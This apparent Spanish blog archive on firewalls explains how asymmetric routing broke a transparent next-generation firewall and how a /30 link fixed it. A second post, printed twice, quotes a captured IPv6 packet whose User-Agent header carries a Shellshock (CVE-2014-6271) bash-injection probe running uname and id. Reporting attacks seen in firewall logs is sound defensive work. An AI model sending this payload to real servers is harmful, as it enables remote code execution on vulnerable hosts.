Archivo

Entradas Etiquetadas ‘firewall’

Asimetrías de tráfico en Cortafuegos

Miércoles, 22 de Julio de 2015 Comentarios desactivados

La mayoría de las veces los cortafuegos se ponen en modo “activo”, empleándose com router de interconexión de las diversas redes,  algo diferente a los cortafuegos de “aplicación” o pasarela como  FWTK o en su versión comercial (Gauntlet), que diferenciaban bien el tráfico, después se paso a utilizar los cortafuegos como routers y de ahí a pensar que las iptables son un firewall…

Ahora con los cortafuegos de “capa 7” (¿ cuando ha tenido TCP/IP 7 capas?) , se pueden poner muchas veces en “modo  trasparente” y esto hace que en muchas situaciones donde antes “no pasaba nada” ahora no funcione el tráfico , como puede  verse en el siguiente en el que un equipo dentro de una misma red hacía de router para una red interna distinta de la “ruta por defecto” y que no presentaba “problemas” hasta que se incluyo un cortafuegos de “nueva generación” transparente y en medio..

En el siguiente esquema se muestra como estaban situados los equipos:

red_interna

red_interna

En principio, no hay problemas hay un router y por defecto y el tráfico por defecto va al router y este llega va y vuelve sin problemas, el cortafuegos inspecciona el tráfico y no se ven problemas.

trafico_a_internet

tráfico a internet

El tráfico de las máquinas pasa por el cortafuegos con destino al router , este envía los paquetes IP a internet y la vuelta viene por el mismo sitio.

Para acceder a la red interna se tenían muchas opciones, pero lo “más cómodo” fue que el router principal tuviera una ruta definida de forma estática a esta red interna empleando un equipo interno que conectaba con la otra red, de forma que el tráfico a la red interna se enrutara por el equipo interno que hacía de router:

trafico_asimetrico

tráfico asimétrico

Ahora bien esto creaba un tráfico asimétrico los paquetes “de ida” de las estaciones de trabajo se dirigían al router (es su router por defecto), de ahí el router las reenviaba al equipo en la misma red interna que hacía routing y de ahí a la red interna, ahora bien el router interno no empleaba el router principal para reenviar los paquetes IP de vuelta, ya que al estar las máquinas en la misma red se enviaban directamente.

Al poner el cortafuegos en modo transparente este solamente veía los paquetes de ida (dos veces eso sí), por lo que por ejemplo para permitir el tráfico HTTP/HTTPS permitía el primer paquete (SIN) , que inspeccionaba, pero después al no tener el paquete de SIN/ACK , los siguientes paquetes no los enviaba al estar esperando este SIN/ACK.

En los equipos la conexión TCP/IP se establecía (ya que llegaba el SIN/ACK) pero después al bloquear el tráfico el cortafuegos no se podían enviar datos, ¿la forma final para depurar y comprobar que estaba pasando esto ?, emplear en el equipo de usuario una captura de paquetes y ver que la direcciones MAC que se empleaban en la comunicación no eran las que tenían que ser, ya que aunque los paquetes se enviaban al router principal era el router interno el que enviaba después a nivel interno el trafico.

trafico_macs

trafico_macs

Por defecto tcpdump no muestra la información de la direcciones MAC, por lo que hay que indicarlo con la opción -e y después comprobar en la tabla arp (arp -an ) a que equipo corresponde cada una de las MAC.

Se pueden establecer varias soluciones, que por diversos motivos se fueron descartando:

Poner rutas más especificas en los equipos de forma que no utilizarán el router principal para acceder a esta red sino que fueran directamente a la red interna, sin embargo los equipos se configuran por DHCPD y resulta que la opción de configurar varias rutas (RFC-3442 Classless Static Routes) no funciona en algunas de las estaciones de trabajo.

Forzar en el router interno a que el tráfico con destino la red de usuarios sea enviado al router principal, esto obligaría a emplear enrutamiento por fuente en este router (el routing normal suele ser por “destino”) y configurar el router principal para que cuando le llegue este tráfico no se queje mucho (algo raro que una máquina de la misma red envíe trafico a traves de el en vez de directamente.

Al final se decidió establecer una red de conexión “punto a punto” (un /30) entre los dos routers, de forma que el router secundario no estuviera en la misma red que los equipos de usuarios, estableciendo incluso una VLAN separada, de esta forma el tráfico al final pase por el cortafuegos siempre y no haya problemas de conexión.

IMG_20150717_110702

tráfico simétrico

Al final el tráfico pasa dos veces por el cortafuegos (qué se le va a hacer ), pero es un tráfico simétrico y el cortafuegos puede inspeccionarlo , comprobar que todo va correcto, no solo a nivel IP sino a nivel de aplicación y proteger de forma adecuada a los usuarios.

Categories: sistemas Tags: , ,

Atacantes en IPv6

Martes, 19 de Mayo de 2015 Comentarios desactivados

Revisando los logs del cortafuegos esta mañana aparece el siguiente paquete que ha sido marcado como un Ataque de inyección de código en bash “Bash Remote Code Execution Vulnerability”, el famoso ShellSock CVE-2014-6271 .

El paquete ethernet capturado es el siguiente:

19:37:20.000000 AA:BB:CC:DD:EE:FF > ZZ:XX:YY:SS:TT:RR, ethertype 802.1Q (0x8100), length 305: vlan XX, p 0, ethertype IPv6, (hlim 54, next-header: TCP (6), length: 247) 2001:41d0:2:c59e::1.53537 > 2001:720:418:cafd::20.80: P, cksum 0xca79 (correct), 1838219336:1838219551(215) ack 3534929269 win 113 <nop,nop,timestamp 1314898790 2658160117>
	0x0000:  0000 0000 0000 0000 0000 0000 0000 0000  ................
	0x0010:  0000 0000 0000 0000 0636 2001 41d0 0002  ................
	0x0020:  c59e 0000 0000 0000 0001 2001 0720 0418  ................
	0x0030:  cafd 0000 0000 0000 0020 d121 0050 6d91  ................
	0x0040:  0048 d2b2 bd75 8018 0071 ca79 0000 0101  ...............
	0x0050:  080a 4e5f c366 9e70 4df5 4745 5420 2f6c  ..N_.f.pM.GET./l
	0x0060:  6973 742f 7075 626c 2f68 6572 7261 6d69  ist/publ/herrami
	0x0070:  656e 7461 2e70 6466 2048 5454 502f 312e  enta.pdf.HTTP/1.
	0x0080:  310d 0a41 6363 6570 742d 456e 636f 6469  1..Accept-Encodi
	0x0090:  6e67 3a20 6964 656e 7469 7479 0d0a 486f  ng:.identity..Ho
	0x00a0:  7374 3a20 7777 772e 7265 6469 7269 732e  st:.www.rediris.
	0x00b0:  6573 0d0a 436f 6e6e 6563 7469 6f6e 3a20  es..Connection:.
	0x00c0:  636c 6f73 650d 0a55 7365 722d 4167 656e  close..User-Agen
	0x00d0:  743a 2028 2920 7b20 666f 6f3b 7d3b 6563  t:.().{.foo;};ec
	0x00e0:  686f 3b20 2f62 696e 2f62 6173 6820 2d63  ho;./bin/bash.-c
	0x00f0:  2022 6578 7072 2032 3939 3636 3332 3939  ."expr.299663299
	0x0100:  3636 3520 2f20 333b 2065 6368 6f20 3333  665./.3;.echo.33
	0x0110:  333a 3b20 756e 616d 6520 2d61 3b20 6563  3:;.uname.-a;.ec
	0x0120:  686f 2033 3333 3a3b 2069 643b 220d 0a0d  ho.333:;.id;"...
	0x0130:  0a                                       .

Hasta aquí todo normal, hasta que viendo la dirección IP origen del ataque aparece como tipo de protocolo IPv6 y dirección 2001:41d0:2:c59e::1 , parece que IPv6 empieza a verse en algunos ataques además del Spam.

 

Atacantes en IPv6

Martes, 19 de Mayo de 2015 Comentarios desactivados

Revisando los logs del cortafuegos esta mañana aparece el siguiente paquete que ha sido marcado como un Ataque de inyección de código en bash “Bash Remote Code Execution Vulnerability”, el famoso ShellSock CVE-2014-6271 .

El paquete ethernet capturado es el siguiente:

19:37:20.000000 AA:BB:CC:DD:EE:FF > ZZ:XX:YY:SS:TT:RR, ethertype 802.1Q 
(0x8100), length 305: vlan XX, p 0, ethertype IPv6, (hlim 54, next-header: 
TCP (6), length: 247) 2001:41d0:2:c59e::1.53537 > 2001:720:418:cafd::20.80:
 P, cksum 0xca79 (correct), 1838219336:1838219551(215) ack 3534929269 win
 113 <nop,nop,timestamp 1314898790 2658160117>

	0x0000:  0000 0000 0000 0000 0000 0000 0000 0000  ................
	0x0010:  0000 0000 0000 0000 0636 2001 41d0 0002  ................
	0x0020:  c59e 0000 0000 0000 0001 2001 0720 0418  ................
	0x0030:  cafd 0000 0000 0000 0020 d121 0050 6d91  ................
	0x0040:  0048 d2b2 bd75 8018 0071 ca79 0000 0101  ...............
	0x0050:  080a 4e5f c366 9e70 4df5 4745 5420 2f6c  ..N_.f.pM.GET./l
	0x0060:  6973 742f 7075 626c 2f68 6572 7261 6d69  ist/publ/herrami
	0x0070:  656e 7461 2e70 6466 2048 5454 502f 312e  enta.pdf.HTTP/1.
	0x0080:  310d 0a41 6363 6570 742d 456e 636f 6469  1..Accept-Encodi
	0x0090:  6e67 3a20 6964 656e 7469 7479 0d0a 486f  ng:.identity..Ho
	0x00a0:  7374 3a20 7777 772e 7265 6469 7269 732e  st:.www.rediris.
	0x00b0:  6573 0d0a 436f 6e6e 6563 7469 6f6e 3a20  es..Connection:.
	0x00c0:  636c 6f73 650d 0a55 7365 722d 4167 656e  close..User-Agen
	0x00d0:  743a 2028 2920 7b20 666f 6f3b 7d3b 6563  t:.().{.foo;};ec
	0x00e0:  686f 3b20 2f62 696e 2f62 6173 6820 2d63  ho;./bin/bash.-c
	0x00f0:  2022 6578 7072 2032 3939 3636 3332 3939  ."expr.299663299
	0x0100:  3636 3520 2f20 333b 2065 6368 6f20 3333  665./.3;.echo.33
	0x0110:  333a 3b20 756e 616d 6520 2d61 3b20 6563  3:;.uname.-a;.ec
	0x0120:  686f 2033 3333 3a3b 2069 643b 220d 0a0d  ho.333:;.id;"...
	0x0130:  0a                                       .

Hasta aquí todo normal, hasta que viendo la dirección IP origen del ataque aparece como tipo de protocolo IPv6 y dirección 2001:41d0:2:c59e::1 , parece que IPv6 empieza a verse en algunos ataques además del Spam.